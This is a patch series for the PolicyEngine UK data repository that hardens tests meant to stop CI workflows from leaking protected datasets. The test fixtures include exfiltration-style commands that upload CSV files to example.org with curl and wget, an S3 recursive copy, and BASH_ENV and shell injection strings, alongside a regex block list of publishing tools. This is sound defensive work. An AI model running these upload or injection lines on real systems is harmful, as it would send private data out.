b/.github/workflows/push.yaml index fccbbeeea..6bf4ae298 100644 --- a/.github/workflows/push.yaml +++ b/.github/workflows/push.yaml @@ -123,6 +123,10 @@ jobs: fetch-depth: 0 # Fetch all history for all tags and branches - name: Install uv uses: astral-sh/setup-uv@v8.1.0 + # Restore uv's package cache but never save one from a job that + # holds the data: its location can be moved (UV_CACHE_DIR). + with: + save-cache: false - name: Set up Python uses: actions/setup-python@v6 with: diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py index 1cfea7c52..1f8eb4246 100644 --- a/policyengine_uk_data/tests/test_workflow_artifacts.py +++ b/policyengine_uk_data/tests/test_workflow_artifacts.py @@ -8,13 +8,14 @@ What the check does: -- A job **can reach the data** when it, or its workflow, uses any secret - other than the GitHub token (presumed a data credential whatever it is - called), passes secrets on, signs in to Google Cloud, or downloads +- A job **can reach the data** when it, or its workflow, mentions + ``secrets`` in any form other than ``secrets.GITHUB_TOKEN`` (presumed a + data credential whatever it is called), passes secrets on, can request an + OIDC token (``id-token: write``), signs in to Google Cloud, or downloads artifacts. - In such a job, every action must be reviewed for the inputs it is given (``REVIEWED_ACTIONS``), so a set-up action can't be pointed at the - workspace. Every artifact upload must name literal files reviewed for that + workspace, and setup-uv must not save its cache (``save-cache: false``). Every artifact upload must name literal files reviewed for that job in ``REVIEWED``: no directories, globs, exclusions or expressions. Every run line that matches ``PUBLISH_COMMAND`` must be, in full, a command reviewed for that job. @@ -43,15 +44,21 @@ WORKFLOW_DIR = Path(__file__).parents[2] / ".github" / "workflows" WORKFLOWS = sorted(WORKFLOW_DIR.glob("*.y*ml")) -# Any secret but these is presumed to reach the data. -NON_DATA_SECRETS = ("secrets.GITHUB_TOKEN",) -_SECRET = re.compile(r"secrets\.[A-Za-z_][A-Za-z0-9_]*") +# Any mention of secrets but this one is presumed to reach the data, in any +# syntax: secrets.NAME, secrets['NAME'], toJSON(secrets) (Sol re-review 2 of +# #603). +NON_DATA_SECRET = "secrets.GITHUB_TOKEN" DATA_ACTIONS = ("google-github-actions/auth",) +# Commands that fetch or build the data, which a job publishing its whole +# workspace must not run. +DATA_COMMAND = re.compile( + r"make (download|data)\b|huggingface|hf_hub|policyengine_uk_data/storage" +) -# Actions that publish nothing when given only these inputs. setup-uv -# caches Python packages, not datasets; its cache-path inputs are not -# reviewed, so pointing its cache at the workspace fails (Sol re-review of -# #603, finding 1). ``enable-cache`` may only turn caching off. +# Actions that publish nothing when given only these inputs. setup-uv's +# cache is on by default on hosted runners and its location can be moved +# (UV_CACHE_DIR, [tool.uv] cache-dir), so in a data job it must not save: +# ``save-cache: false``, or ``enable-cache: false`` (Sol re-reviews of #603). REVIEWED_ACTIONS = { "actions/checkout": { "fetch-depth", @@ -65,7 +72,7 @@ }, "actions/setup-python": {"python-version"}, "actions/setup-node": {"node-version"}, - "astral-sh/setup-uv": {"version", "python-version", "enable-cache"}, + "astral-sh/setup-uv": {"version", "python-version", "enable-cache", "save-cache"}, "google-github-actions/auth": {"service_account", "workload_identity_provider"}, "actions/create-github-app-token": {"app-id", "private-key"}, "actions/download-artifact": {"name", "path", "pattern", "merge-multiple"}, @@ -87,21 +94,25 @@ ("versioning.yaml", "Versioning"): { "artifacts": {}, "commands": (), - # Commits the version bump. Its secrets are the GitHub app's, and the - # job builds no data and downloads nothing. + # Commits the version bump. Its secrets are the GitHub app's. It + # commits the whole workspace, so it must fetch and build no data + # (checked: no run line matches DATA_COMMAND). "actions": { "EndBug/add-and-commit": {"add": ".", "message": "Update package version"} }, + "no_data_commands": True, }, } PUBLISH_COMMAND = re.compile( - r"make upload|publish-git-tag|\bgh (release|gist|api|pr comment|issue comment)\b" - r"|\bgit push\b|\bcurl\b.*(\s-T\b|--upload-file|\s-F\b|--data|\s-d\b|-X\s*(POST|PUT|PATCH))" - r"|\baws s3\b|\bgsutil\b|\bgcloud storage\b|huggingface-cli|\bhf upload\b|\btwine\b" + r"make upload|publish-git-tag|\bgh\s+[a-z]" # any gh command + r"|\bgit push\b" + r"|\bcurl\b.*(--upload-file|--form|--json|--data|--request\s+(POST|PUT|PATCH)" + r"|-X\s*(POST|PUT|PATCH)|\s-[A-Za-z]*[TFd][A-Za-z]*\b)" + r"|\baws s3\b|\bgsutil\b|\bgcloud\b|huggingface-cli|\bhf upload\b|\btwine\b" ) _NOT_LITERAL = re.compile(r"[*?\[\]{}!]|\$\{\{") -_EMPTY = {"artifacts": {}, "commands": (), "actions": {}} +_EMPTY = {"artifacts": {}, "commands": (), "actions": {}, "no_data_commands": False} def _jobs(workflow: dict) -> dict: @@ -115,7 +126,15 @@ def _triggers(workflow: dict) -> dict: def _uses_data_secret(text: str) -> bool: - return any(s not in NON_DATA_SECRETS for s in _SECRET.findall(text)) + return bool(re.search(r"\bsecrets\b", text.replace(NON_DATA_SECRET, ""))) + + +def _requests_oidc(block) -> bool: + permissions = (block or {}).get("permissions") + return ( + isinstance(permissions, dict) + and str(permissions.get("id-token", "")).strip('"') == "write" + ) def reaches_data(job: dict, workflow: dict | None = None) -> bool: @@ -124,10 +143,14 @@ def reaches_data(job: dict, workflow: dict | None = None) -> bool: {"env": workflow.get("env"), "defaults": workflow.get("defaults")} ) call = _triggers(workflow).get("workflow_call") or {} - if _uses_data_secret(shared) or (isinstance(call, dict) and call.get("secrets")): + if ( + _uses_data_secret(shared) + or (isinstance(call, dict) and call.get("secrets")) + or _requests_oidc(workflow) + ): return True text = yaml.safe_dump(job) - if "secrets" in job or _uses_data_secret(text): + if "secrets" in job or _uses_data_secret(text) or _requests_oidc(job): return True return any( str(step.get("uses", "")).split("@", 1)[0] @@ -210,13 +233,21 @@ def problems(name: str, workflow: dict) -> list: f"{where} gives {action} unreviewed inputs: " + ", ".join(sorted(extra)) ) - if action == "astral-sh/setup-uv" and inputs.get( - "enable-cache", False - ) not in (False, "false"): - out.append(f"{where} turns setup-uv's cache on explicitly") + if action == "astral-sh/setup-uv": + off = lambda key: inputs.get(key) in (False, "false") # noqa: E731 + if not (off("save-cache") or off("enable-cache")): + out.append( + f"{where} lets setup-uv save its cache " + "(set save-cache: false)" + ) else: out.append(f"{where} uses an unreviewed action: {uses}") script = str(step.get("run", "")) + if reviewed["no_data_commands"] and DATA_COMMAND.search(script): + out.append( + f"{where} publishes its workspace, so it must not fetch or " + "build the data" + ) for line in logical_lines(script): if PUBLISH_COMMAND.search(line) and line not in reviewed["commands"]: out.append( @@ -262,7 +293,7 @@ def test_every_reviewed_entry_names_a_real_job(): "env": {"HUGGING_FACE_TOKEN": "${{ secrets.HUGGING_FACE_TOKEN }}"}, "steps": [ {"uses": "actions/checkout@v6"}, - {"uses": "astral-sh/setup-uv@v8.1.0"}, + {"uses": "astral-sh/setup-uv@v8.1.0", "with": {"save-cache": False}}, {"run": "uv run --frozen make data"}, ], } @@ -316,6 +347,11 @@ def test_an_unreviewed_upload_from_a_data_job_fails(path): {"run": "aws s3 cp . s3://bucket --recursive"}, {"run": "git push origin HEAD:logs"}, {"run": "curl \\\n -T la_calibration_log.csv \\\n https://example.org/"}, + {"run": "gh issue create -t x --body-file constituency_calibration_log.csv"}, + {"run": "gh pr edit 1 --body-file la_calibration_log.csv"}, + {"run": "curl -sT la_calibration_log.csv https://example.org/"}, + {"run": "curl --form f=@la_calibration_log.csv https://example.org/"}, + {"run": "curl --json @la_calibration_log.csv https://example.org/"}, ], ) def test_other_routes_out_of_a_data_job_fail(step): @@ -329,16 +365,22 @@ def test_other_routes_out_of_a_data_job_fail(step): {"cache-local-path": "."}, {"enable-cache": True}, {"cache-dependency-glob": "**/*.csv"}, + {}, # the default saves the cache on hosted runners + None, ], ) -def test_a_set_up_action_pointed_at_the_workspace_fails(inputs): - """Sol re-review of #603, finding 1: setup-uv's post step saves its cache.""" - assert _with_step({"uses": "astral-sh/setup-uv@v8.1.0", "with": inputs}) +def test_setup_uv_saving_its_cache_in_a_data_job_fails(inputs): + """Sol re-reviews of #603: the post step saves the cache, wherever + UV_CACHE_DIR points by then.""" + step = {"uses": "astral-sh/setup-uv@v8.1.0"} + if inputs is not None: + step["with"] = inputs + assert _with_step(step) -def test_turning_setup_uvs_cache_off_passes(): - step = {"uses": "astral-sh/setup-uv@v8.1.0", "with": {"enable-cache": False}} - assert _with_step(step) == [] +@pytest.mark.parametrize("inputs", [{"save-cache": False}, {"enable-cache": False}]) +def test_setup_uv_that_does_not_save_passes(inputs): + assert _with_step({"uses": "astral-sh/setup-uv@v8.1.0", "with": inputs}) == [] @pytest.mark.parametrize( @@ -380,6 +422,9 @@ def test_a_workflow_level_credential_makes_every_job_a_data_job(): "job", [ {"env": {"GH_TOKEN": "${{ secrets.ANY_NAME }}"}, "steps": []}, + {"env": {"HF": "${{ secrets['HUGGING_FACE_TOKEN'] }}"}, "steps": []}, + {"env": {"ALL": "${{ toJSON(secrets) }}"}, "steps": []}, + {"permissions": {"id-token": "write"}, "steps": []}, {"uses": "org/repo/.github/workflows/build.yaml@main", "secrets": "inherit"}, {"steps": [{"uses": "google-github-actions/auth@v3"}]}, {"steps": [{"uses": "actions/download-artifact@v8"}]}, @@ -459,3 +504,17 @@ def test_a_reviewed_file_needs_its_producer_in_an_earlier_step(producer, monkeyp assert _with_step(_upload("summary.json"), produce) assert _with_step(produce, _upload("summary.json")) == [] assert _with_step(produce, _upload("summary.json\nlog.csv")) + + +def test_a_workflow_level_oidc_permission_makes_a_data_job(): + workflow = {"permissions": {"id-token": "write"}, "jobs": {"a": {"steps": []}}} + assert reaches_data(workflow["jobs"]["a"], workflow) + + +def test_the_versioning_commit_may_not_follow_a_data_build(): + """Sol re-review 2 of #603, finding 3: it commits the whole workspace.""" + data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml")) + _jobs(data)["Versioning"]["steps"].insert(1, {"run": "uv run make data"}) + assert any( + "must not fetch or build" in p for p in problems("versioning.yaml", data) + ) From c41f10c269d0148ed84cf7ef94b21abcbcd584f2 Mon Sep 17 00:00:00 2001 From: Max Ghenis Date: Thu, 15 Oct 2026 22:52:13 -0400 Subject: [PATCH 5/9] Recognise secrets in any case and write-all; let the versioning job run only its lines (Sol re-review 3 of #603) - Expressions are case-insensitive, so SECRETS.NAME and Secrets['X'] mark a data job; secrets.GITHUB_TOKEN is exempt in any case. - permissions: write-all grants id-token, so it marks a data job too. - The versioning job commits its whole workspace, so it may run only its three reviewed lines; a bare make, which builds the data, fails. - curl's combined short flags with any prefix, -K and --config count as publishing. Co-Authored-By: Claude Opus 5.5 --- .../tests/test_workflow_artifacts.py | 95 ++++++++++++------- 1 file changed, 61 insertions(+), 34 deletions(-) diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py index 1f8eb4246..e026aa840 100644 --- a/policyengine_uk_data/tests/test_workflow_artifacts.py +++ b/policyengine_uk_data/tests/test_workflow_artifacts.py @@ -9,16 +9,19 @@ What the check does: - A job **can reach the data** when it, or its workflow, mentions - ``secrets`` in any form other than ``secrets.GITHUB_TOKEN`` (presumed a - data credential whatever it is called), passes secrets on, can request an - OIDC token (``id-token: write``), signs in to Google Cloud, or downloads - artifacts. + ``secrets`` in any form or case other than ``secrets.GITHUB_TOKEN`` + (presumed a data credential whatever it is called; expressions are + case-insensitive), passes secrets on, can request an OIDC token + (``id-token: write`` or ``write-all``), signs in to Google Cloud, or + downloads artifacts. - In such a job, every action must be reviewed for the inputs it is given (``REVIEWED_ACTIONS``), so a set-up action can't be pointed at the - workspace, and setup-uv must not save its cache (``save-cache: false``). Every artifact upload must name literal files reviewed for that - job in ``REVIEWED``: no directories, globs, exclusions or expressions. - Every run line that matches ``PUBLISH_COMMAND`` must be, in full, a command - reviewed for that job. + workspace, and setup-uv must not save its cache (``save-cache: false``). + Every artifact upload must name literal files reviewed for that job in + ``REVIEWED``: no directories, globs, exclusions or expressions. Every run + line that matches ``PUBLISH_COMMAND`` must be, in full, a command reviewed + for that job. A job that commits its whole workspace may run only its + reviewed lines (``runs_only``). - Jobs that can't reach the data (docs, changelog) may publish. What it does not do (Sol re-review of #603): it recognises reviewed workflow @@ -45,15 +48,11 @@ WORKFLOWS = sorted(WORKFLOW_DIR.glob("*.y*ml")) # Any mention of secrets but this one is presumed to reach the data, in any -# syntax: secrets.NAME, secrets['NAME'], toJSON(secrets) (Sol re-review 2 of -# #603). -NON_DATA_SECRET = "secrets.GITHUB_TOKEN" +# syntax or case: secrets.NAME, SECRETS.NAME, secrets['NAME'], +# toJSON(secrets) (Sol re-reviews 2 and 3 of #603). +_NON_DATA_SECRET = re.compile(r"\bsecrets\.github_token\b", re.IGNORECASE) +_SECRETS = re.compile(r"\bsecrets\b", re.IGNORECASE) DATA_ACTIONS = ("google-github-actions/auth",) -# Commands that fetch or build the data, which a job publishing its whole -# workspace must not run. -DATA_COMMAND = re.compile( - r"make (download|data)\b|huggingface|hf_hub|policyengine_uk_data/storage" -) # Actions that publish nothing when given only these inputs. setup-uv's # cache is on by default on hosted runners and its location can be moved @@ -95,24 +94,29 @@ "artifacts": {}, "commands": (), # Commits the version bump. Its secrets are the GitHub app's. It - # commits the whole workspace, so it must fetch and build no data - # (checked: no run line matches DATA_COMMAND). + # commits the whole workspace, so it may run only these lines and + # can't fetch or build data (Sol re-review 3 of #603: a bare `make` + # builds the data, so command names aren't enough). "actions": { "EndBug/add-and-commit": {"add": ".", "message": "Update package version"} }, - "no_data_commands": True, + "runs_only": ( + "pip install towncrier", + "python .github/bump_version.py", + "towncrier build --yes --version $(python -c \"import re; print(re.search(r'version = \\\"(.+?)\\\"', open('pyproject.toml').read()).group(1))\")", + ), }, } PUBLISH_COMMAND = re.compile( r"make upload|publish-git-tag|\bgh\s+[a-z]" # any gh command r"|\bgit push\b" - r"|\bcurl\b.*(--upload-file|--form|--json|--data|--request\s+(POST|PUT|PATCH)" - r"|-X\s*(POST|PUT|PATCH)|\s-[A-Za-z]*[TFd][A-Za-z]*\b)" + r"|\bcurl\b.*(--upload-file|--form|--json|--data|--config" + r"|--request\s+(POST|PUT|PATCH)|-X\s*(POST|PUT|PATCH)|\s-[^\s-]*[TFdK])" r"|\baws s3\b|\bgsutil\b|\bgcloud\b|huggingface-cli|\bhf upload\b|\btwine\b" ) _NOT_LITERAL = re.compile(r"[*?\[\]{}!]|\$\{\{") -_EMPTY = {"artifacts": {}, "commands": (), "actions": {}, "no_data_commands": False} +_EMPTY = {"artifacts": {}, "commands": (), "actions": {}, "runs_only": None} def _jobs(workflow: dict) -> dict: @@ -126,11 +130,13 @@ def _triggers(workflow: dict) -> dict: def _uses_data_secret(text: str) -> bool: - return bool(re.search(r"\bsecrets\b", text.replace(NON_DATA_SECRET, ""))) + return bool(_SECRETS.search(_NON_DATA_SECRET.sub("", text))) def _requests_oidc(block) -> bool: permissions = (block or {}).get("permissions") + if isinstance(permissions, str): + return permissions.strip().lower() == "write-all" return ( isinstance(permissions, dict) and str(permissions.get("id-token", "")).strip('"') == "write" @@ -243,11 +249,13 @@ def problems(name: str, workflow: dict) -> list: else: out.append(f"{where} uses an unreviewed action: {uses}") script = str(step.get("run", "")) - if reviewed["no_data_commands"] and DATA_COMMAND.search(script): - out.append( - f"{where} publishes its workspace, so it must not fetch or " - "build the data" - ) + if reviewed["runs_only"] is not None: + for line in logical_lines(script): + if line not in reviewed["runs_only"]: + out.append( + f"{where} publishes its workspace, so it may run only " + f"its reviewed lines, not {line!r}" + ) for line in logical_lines(script): if PUBLISH_COMMAND.search(line) and line not in reviewed["commands"]: out.append( @@ -352,6 +360,10 @@ def test_an_unreviewed_upload_from_a_data_job_fails(path): {"run": "curl -sT la_calibration_log.csv https://example.org/"}, {"run": "curl --form f=@la_calibration_log.csv https://example.org/"}, {"run": "curl --json @la_calibration_log.csv https://example.org/"}, + {"run": "curl -#T la_calibration_log.csv https://example.org/"}, + {"run": "curl -4T la_calibration_log.csv https://example.org/"}, + {"run": "curl -K upload.cfg https://example.org/"}, + {"run": "curl --config upload.cfg https://example.org/"}, ], ) def test_other_routes_out_of_a_data_job_fail(step): @@ -424,7 +436,10 @@ def test_a_workflow_level_credential_makes_every_job_a_data_job(): {"env": {"GH_TOKEN": "${{ secrets.ANY_NAME }}"}, "steps": []}, {"env": {"HF": "${{ secrets['HUGGING_FACE_TOKEN'] }}"}, "steps": []}, {"env": {"ALL": "${{ toJSON(secrets) }}"}, "steps": []}, + {"env": {"HF": "${{ SECRETS.HUGGING_FACE_TOKEN }}"}, "steps": []}, + {"env": {"HF": "${{ Secrets['X'] }}"}, "steps": []}, {"permissions": {"id-token": "write"}, "steps": []}, + {"permissions": "write-all", "steps": []}, {"uses": "org/repo/.github/workflows/build.yaml@main", "secrets": "inherit"}, {"steps": [{"uses": "google-github-actions/auth@v3"}]}, {"steps": [{"uses": "actions/download-artifact@v8"}]}, @@ -440,6 +455,9 @@ def test_a_job_with_only_the_github_token_is_not_a_data_job(): assert not reaches_data(job) job = {"env": {"GH_TOKEN": "${{ secrets.GITHUB_TOKEN }}"}, "steps": []} assert not reaches_data(job) + job = {"env": {"GH_TOKEN": "${{ SECRETS.github_token }}"}, "steps": []} + assert not reaches_data(job) + assert not reaches_data({"permissions": "read-all", "steps": []}) def test_a_reusable_workflow_in_a_data_job_fails(): @@ -511,10 +529,19 @@ def test_a_workflow_level_oidc_permission_makes_a_data_job(): assert reaches_data(workflow["jobs"]["a"], workflow) -def test_the_versioning_commit_may_not_follow_a_data_build(): - """Sol re-review 2 of #603, finding 3: it commits the whole workspace.""" +@pytest.mark.parametrize( + "line", + [ + "uv run make data", + "uv run make", + "make all", + "python policyengine_uk_data/datasets/create_datasets.py", + "echo hi", + ], +) +def test_the_versioning_commit_job_runs_only_its_reviewed_lines(line): + """Sol re-reviews 2 and 3 of #603: it commits the whole workspace, and a + bare `make` builds the data, so only its reviewed lines may run.""" data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml")) - _jobs(data)["Versioning"]["steps"].insert(1, {"run": "uv run make data"}) - assert any( - "must not fetch or build" in p for p in problems("versioning.yaml", data) - ) + _jobs(data)["Versioning"]["steps"].insert(1, {"run": line}) + assert any("reviewed lines" in p for p in problems("versioning.yaml", data)) From 79ffd76765442ae1d7391c75de669372e8c2f636 Mon Sep 17 00:00:00 2001 From: Max Ghenis Date: Thu, 15 Oct 2026 22:58:12 -0400 Subject: [PATCH 6/9] Don't let a shell or environment change what the versioning job runs (Sol re-review 4 of #603) A job that commits its whole workspace may not set a step shell or env, or a job or workflow env, defaults or container: BASH_ENV or a custom shell could run a data build around a reviewed line. Also: curl -H/--url-query @file and wget --post-file count as publishing, and edits inside the reviewed script are tested. Co-Authored-By: Claude Opus 5.5 --- .../tests/test_workflow_artifacts.py | 79 ++++++++++++++++++- 1 file changed, 78 insertions(+), 1 deletion(-) diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py index e026aa840..b1343d99f 100644 --- a/policyengine_uk_data/tests/test_workflow_artifacts.py +++ b/policyengine_uk_data/tests/test_workflow_artifacts.py @@ -21,7 +21,8 @@ ``REVIEWED``: no directories, globs, exclusions or expressions. Every run line that matches ``PUBLISH_COMMAND`` must be, in full, a command reviewed for that job. A job that commits its whole workspace may run only its - reviewed lines (``runs_only``). + reviewed lines (``runs_only``), with no ``shell``, ``env``, ``defaults`` or + ``container`` that could change what those lines run. - Jobs that can't reach the data (docs, changelog) may publish. What it does not do (Sol re-review of #603): it recognises reviewed workflow @@ -113,6 +114,7 @@ r"|\bgit push\b" r"|\bcurl\b.*(--upload-file|--form|--json|--data|--config" r"|--request\s+(POST|PUT|PATCH)|-X\s*(POST|PUT|PATCH)|\s-[^\s-]*[TFdK])" + r"|\bcurl\b.*(-H|--header|--url-query)\s*@|\bwget\b.*--(post|body)-(file|data)" r"|\baws s3\b|\bgsutil\b|\bgcloud\b|huggingface-cli|\bhf upload\b|\btwine\b" ) _NOT_LITERAL = re.compile(r"[*?\[\]{}!]|\$\{\{") @@ -200,6 +202,18 @@ def problems(name: str, workflow: dict) -> list: reviewed = {**_EMPTY, **REVIEWED.get((name, job_id), {})} if "uses" in job: out.append(f"{where} calls a reusable workflow ({job['uses']})") + if reviewed["runs_only"] is not None: + for key, block in (("env", job), ("defaults", job), ("container", job)): + if key in block: + out.append( + f"{where} publishes its workspace, so it may not set {key}" + ) + for key in ("env", "defaults"): + if workflow.get(key): + out.append( + f"{where} publishes its workspace, so its workflow may not " + f"set {key}" + ) earlier = [] # run steps before the current one, comments removed for step in job.get("steps", []): uses = str(step.get("uses", "")) @@ -250,6 +264,14 @@ def problems(name: str, workflow: dict) -> list: out.append(f"{where} uses an unreviewed action: {uses}") script = str(step.get("run", "")) if reviewed["runs_only"] is not None: + # A shell or environment could run something else around a + # reviewed line (BASH_ENV, a custom shell) (Sol re-review 4). + for key in ("shell", "env"): + if key in step: + out.append( + f"{where} publishes its workspace, so its steps may " + f"not set {key}" + ) for line in logical_lines(script): if line not in reviewed["runs_only"]: out.append( @@ -364,6 +386,9 @@ def test_an_unreviewed_upload_from_a_data_job_fails(path): {"run": "curl -4T la_calibration_log.csv https://example.org/"}, {"run": "curl -K upload.cfg https://example.org/"}, {"run": "curl --config upload.cfg https://example.org/"}, + {"run": "curl -H @la_calibration_log.csv https://example.org/"}, + {"run": "curl --url-query @la_calibration_log.csv https://example.org/"}, + {"run": "wget --post-file=la_calibration_log.csv https://example.org/"}, ], ) def test_other_routes_out_of_a_data_job_fail(step): @@ -545,3 +570,55 @@ def test_the_versioning_commit_job_runs_only_its_reviewed_lines(line): data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml")) _jobs(data)["Versioning"]["steps"].insert(1, {"run": line}) assert any("reviewed lines" in p for p in problems("versioning.yaml", data)) + + +@pytest.mark.parametrize( + "change", + [ + ("step", "shell", "bash -c 'uv run make data; exec bash \"$0\"' {0}"), + ("step", "env", {"BASH_ENV": "$(uv run make data >&2)"}), + ("job", "env", {"BASH_ENV": "/tmp/x"}), + ("job", "defaults", {"run": {"shell": "bash -c 'make data'"}}), + ("job", "container", "python:3.13"), + ("workflow", "defaults", {"run": {"shell": "bash -c 'make data'"}}), + ("workflow", "env", {"BASH_ENV": "/tmp/x"}), + ], +) +def test_the_versioning_job_cannot_change_how_its_lines_run(change): + """Sol re-review 4 of #603: a shell or environment runs around a line.""" + where, key, value = change + data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml")) + job = _jobs(data)["Versioning"] + if where == "step": + step = next(s for s in job["steps"] if s.get("run") == "pip install towncrier") + step[key] = value + elif where == "job": + job[key] = value + else: + data[key] = value + assert any( + "publishes its workspace" in p for p in problems("versioning.yaml", data) + ) + + +@pytest.mark.parametrize( + "edit", + [ + lambda script: script.replace( + "python .github/bump_version.py", + "python .github/bump_version.py \\\n && uv run make data", + ), + lambda script: script + "\nuv run make data", + ], +) +def test_editing_the_reviewed_script_itself_fails(edit): + """Sol re-review 4 of #603, nit 3: continuations and extra lines inside the + reviewed script are caught too.""" + data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml")) + step = next( + s + for s in _jobs(data)["Versioning"]["steps"] + if "bump_version" in str(s.get("run", "")) + ) + step["run"] = edit(step["run"]) + assert any("reviewed lines" in p for p in problems("versioning.yaml", data)) From e9fff875e38f0059d2226424b5dffaf87fab837f Mon Sep 17 00:00:00 2001 From: Max Ghenis Date: Thu, 15 Oct 2026 23:00:46 -0400 Subject: [PATCH 7/9] Block a step working-directory and more curl header spellings (Sol re-review 5 nits) Co-Authored-By: Claude Opus 5.5 --- .../tests/test_workflow_artifacts.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py index b1343d99f..e0fda0330 100644 --- a/policyengine_uk_data/tests/test_workflow_artifacts.py +++ b/policyengine_uk_data/tests/test_workflow_artifacts.py @@ -21,8 +21,9 @@ ``REVIEWED``: no directories, globs, exclusions or expressions. Every run line that matches ``PUBLISH_COMMAND`` must be, in full, a command reviewed for that job. A job that commits its whole workspace may run only its - reviewed lines (``runs_only``), with no ``shell``, ``env``, ``defaults`` or - ``container`` that could change what those lines run. + reviewed lines (``runs_only``), with no ``shell``, ``env``, + ``working-directory``, ``defaults`` or ``container`` that could change what + those lines run. - Jobs that can't reach the data (docs, changelog) may publish. What it does not do (Sol re-review of #603): it recognises reviewed workflow @@ -114,7 +115,7 @@ r"|\bgit push\b" r"|\bcurl\b.*(--upload-file|--form|--json|--data|--config" r"|--request\s+(POST|PUT|PATCH)|-X\s*(POST|PUT|PATCH)|\s-[^\s-]*[TFdK])" - r"|\bcurl\b.*(-H|--header|--url-query)\s*@|\bwget\b.*--(post|body)-(file|data)" + r"|\bcurl\b.*(\s-[^\s-]*H|--header|--url-query)[\s=]*[\"']?@|\bwget\b.*--(post|body)-(file|data)" r"|\baws s3\b|\bgsutil\b|\bgcloud\b|huggingface-cli|\bhf upload\b|\btwine\b" ) _NOT_LITERAL = re.compile(r"[*?\[\]{}!]|\$\{\{") @@ -266,7 +267,7 @@ def problems(name: str, workflow: dict) -> list: if reviewed["runs_only"] is not None: # A shell or environment could run something else around a # reviewed line (BASH_ENV, a custom shell) (Sol re-review 4). - for key in ("shell", "env"): + for key in ("shell", "env", "working-directory"): if key in step: out.append( f"{where} publishes its workspace, so its steps may " @@ -387,6 +388,9 @@ def test_an_unreviewed_upload_from_a_data_job_fails(path): {"run": "curl -K upload.cfg https://example.org/"}, {"run": "curl --config upload.cfg https://example.org/"}, {"run": "curl -H @la_calibration_log.csv https://example.org/"}, + {"run": 'curl -H "@la_calibration_log.csv" https://example.org/'}, + {"run": "curl --header=@la_calibration_log.csv https://example.org/"}, + {"run": "curl -sH @la_calibration_log.csv https://example.org/"}, {"run": "curl --url-query @la_calibration_log.csv https://example.org/"}, {"run": "wget --post-file=la_calibration_log.csv https://example.org/"}, ], @@ -577,6 +581,7 @@ def test_the_versioning_commit_job_runs_only_its_reviewed_lines(line): [ ("step", "shell", "bash -c 'uv run make data; exec bash \"$0\"' {0}"), ("step", "env", {"BASH_ENV": "$(uv run make data >&2)"}), + ("step", "working-directory", "tools"), ("job", "env", {"BASH_ENV": "/tmp/x"}), ("job", "defaults", {"run": {"shell": "bash -c 'make data'"}}), ("job", "container", "python:3.13"), From 7313f8b42e4e02d626fcb9e3891c8d5ad4147eb8 Mon Sep 17 00:00:00 2001 From: Max Ghenis Date: Fri, 16 Oct 2026 00:29:37 -0400 Subject: [PATCH 8/9] Count any curl or wget in a data job as a route out (delta review of #603) Each review round found another curl spelling that sends a file; the last was --url-query name@file, and --variable name@file with --expand-url is another. No uk-data workflow runs curl or wget, so a new use is reviewed like any other command. Co-Authored-By: Claude Opus 5.5 --- .../tests/test_workflow_artifacts.py | 21 +++++++++++++------ 1 file changed, 15 insertions(+), 6 deletions(-) diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py index e0fda0330..af5a2dd8e 100644 --- a/policyengine_uk_data/tests/test_workflow_artifacts.py +++ b/policyengine_uk_data/tests/test_workflow_artifacts.py @@ -19,8 +19,8 @@ workspace, and setup-uv must not save its cache (``save-cache: false``). Every artifact upload must name literal files reviewed for that job in ``REVIEWED``: no directories, globs, exclusions or expressions. Every run - line that matches ``PUBLISH_COMMAND`` must be, in full, a command reviewed - for that job. A job that commits its whole workspace may run only its + line that matches ``PUBLISH_COMMAND`` (any curl or wget, and the known + publishing commands) must be, in full, a command reviewed for that job. A job that commits its whole workspace may run only its reviewed lines (``runs_only``), with no ``shell``, ``env``, ``working-directory``, ``defaults`` or ``container`` that could change what those lines run. @@ -110,12 +110,14 @@ }, } +# Any curl or wget counts, not only their upload options: each review round +# found another spelling that sends a file (curl's -sT, -H @file, --url-query +# name@file, --variable name@file with --expand-url; Sol re-reviews 3 to 5 and +# the delta review of #603). No uk-data workflow runs either, so a new use +# needs reviewing, like any other command here. PUBLISH_COMMAND = re.compile( r"make upload|publish-git-tag|\bgh\s+[a-z]" # any gh command - r"|\bgit push\b" - r"|\bcurl\b.*(--upload-file|--form|--json|--data|--config" - r"|--request\s+(POST|PUT|PATCH)|-X\s*(POST|PUT|PATCH)|\s-[^\s-]*[TFdK])" - r"|\bcurl\b.*(\s-[^\s-]*H|--header|--url-query)[\s=]*[\"']?@|\bwget\b.*--(post|body)-(file|data)" + r"|\bgit push\b|\bcurl\b|\bwget\b" r"|\baws s3\b|\bgsutil\b|\bgcloud\b|huggingface-cli|\bhf upload\b|\btwine\b" ) _NOT_LITERAL = re.compile(r"[*?\[\]{}!]|\$\{\{") @@ -392,6 +394,13 @@ def test_an_unreviewed_upload_from_a_data_job_fails(path): {"run": "curl --header=@la_calibration_log.csv https://example.org/"}, {"run": "curl -sH @la_calibration_log.csv https://example.org/"}, {"run": "curl --url-query @la_calibration_log.csv https://example.org/"}, + {"run": 'curl --url-query "q@la_calibration_log.csv" https://example.org/'}, + { + "run": "curl --variable x@la_calibration_log.csv " + '--expand-url "https://example.org/{{x}}"' + }, + {"run": "curl https://example.org/"}, + {"run": "wget -q https://example.org/"}, {"run": "wget --post-file=la_calibration_log.csv https://example.org/"}, ], ) From 5881ce3ebde3472da17627cf09552c948a0facd3 Mon Sep 17 00:00:00 2001 From: Max Ghenis Date: Fri, 16 Oct 2026 00:36:44 -0400 Subject: [PATCH 9/9] Rewrap the docstring line the curl change ran long (nit 1, delta review of #603) Co-Authored-By: Claude Opus 5.5 --- policyengine_uk_data/tests/test_workflow_artifacts.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) 